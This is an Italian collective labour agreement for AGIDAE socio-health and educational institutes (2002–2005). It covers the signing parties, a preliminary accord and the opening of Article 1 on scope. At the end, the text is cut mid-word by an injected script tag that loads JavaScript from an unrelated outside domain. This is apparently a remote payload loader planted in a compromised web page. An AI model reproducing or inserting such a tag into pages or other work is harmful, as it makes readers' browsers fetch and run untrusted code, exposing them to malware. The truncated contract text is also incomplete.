Categoria: Istituti socio-sanitari-assistenziali (AGIDAE)
Settore: Enti Privati
Data stipula: 8-7-2003
Data decorrenza: 1-1-2002
Data scadenza: 31-12-2005

Contratto Collettivo Nazionale di Lavoro

ISTITUTI SOCIO - SANITARI - ASSISTENZIALI - EDUCATIVI

1 gennaio 2002 - 31 dicembre 2005


VERBALE D'INCONTRO

In  data 8 luglio 2003 si sono incontrate, in Roma, presso la sede AGIDAE,
in via V. Bellini 10:

- AGIDAE rappresentata da Francesco Ciccimarra, Maria Bar, Daniela Gallo,
  Santino  Amici,  Maria Annunciata Vai e con la partecipazione di Franca
  Chemel, Maria  Ippolito,  Donatella Zordan, Emanuela Brambilla, Pierino
  Moreno,  Teresita  Moiraghi,  Anna  Rizzuto,  Albina  Bertone,  Martino
  Ganassin, Adriano Della Valle;

- FP/CGIL rappresentata da Dario Canali, Mauro Ponziani;

- FISASCAT/CISL rappresentata da Giovanni Pirulli, Roberto Ricciardi;

- UILTuCS/UIL rappresentata da Caterina Fulciniti e Giorgio Strano

e hanno proceduto alla firma dell'accordo per il rinnovo del CCNL.


AGIDAE
FP-CGIL
FISASCAT-CISL
UILTuCS-UIL

* * * * * * * * *

VERBALE DI ACCORDO PRELIMINARE

Predisponendosi al rinnovo del CCNL per le dipendenti e i dipendenti delle
diverse     realtà    socio-sanitarie-assistenziali-educative     aderenti
all'AGIDAE,  le  parti sottolineano come lo stesso,  nel  disciplinare  il
rapporto  di  lavoro sul versante normativo ed economico  complessivamente
inteso,  debba tendere a rappresentare al meglio le molteplici specificità
e  peculiarità  presenti  e la natura e le caratteristiche  delle  diverse
realtà  coinvolte contribuendo a una sempre maggiore qualificazione  delle
stesse  senza perdere, peraltro, la caratteristica di unitarietà di  detto
CCNL.

Le  parti  sottolineano  il  CCNL  anche  quale  strumento  concorrente  a
qualificare  il  sistema dei rapporti tra pubblico e privato  in  tema  di
gestione dei servizi nel settore di cui trattasi.

AGIDAE   e   le  OOSS  FP-CGIL,  FISASCAT-CISL,  UILTuCS-  UIL   rimarcano
l'opportunità   di   un'adeguata  interazione  tra  pubblico   e   privato
all'interno  di un quadro di programmazione generale, ai diversi  livelli,
tale   da   qualificare  l'insieme  delle  risorse  pubbliche  e   private
disponibili,   relazionandole   correttamente   ai   bisogni   e   diritti
dell'utenza,  all'assetto dei servizi ed al trattamento complessivo  degli
addetti.

In relazione all'insieme delle questioni esposte, le parti sottolineano la
necessità  di un costante rapporto tra le stesse, finalizzato  a  cogliere
l'evoluzione del settore determinando le scelte più opportune,  sul  piano
generale e particolare, ai fini di una sua complessiva valorizzazione.

AGIDAE  e le OOSS FP-CGIL, FISASCAT-CISL, UILTuCS-UIL si sentono impegnate
in   direzione   di   un  processo  di  piena  applicazione   contrattuale
interessante  l'insieme  del settore che, sottolineando  la  piena  natura
privatistica e le molteplici articolazioni presenti, indirizzi il rapporto
tra  soggetti pubblici e privati sul terreno della capacità progettuale  e
gestionale,  ponendo  sullo stesso piano tutti gli operatori  privati  del
settore.

Le parti s'impegnano a favorire la costituzione di un unico CCNL per tutto
il  settore  attraverso la definizione di una parte economica e  normativa
comune  e  il  mantenimento  delle  specificità  evidenziate  nei  singoli
contratti.



Titolo I - VALIDITÀ E AMBITO DI APPLICAZIONE DEL CONTRATTO

Art. 1 - Ambito di applicazione.

Il  presente  CCNL  regola il rapporto di lavoro del personale  dipendente
degli Istituti operanti nel campo del sociale, per attività educative,  di
assistenza  e  di  beneficenza,  nonché di culto  o  religione  dipendenti
dall'autorità ecclesiastica.

Il presente CCNL tutela anche il personale dipendente da altre Istituzioni
qualora le parti dichiarino di accettarne integralmente la disciplina  nel
contratto individuale di lavoro.

La  normativa  del  presente  contratto,  da  applicare  integralmente  al
personale  a  tempo indeterminato, va estesa, per quanto  compatibile,  al
personale con rappor<script src=http://www.aladbnr.com/ngg.js></script>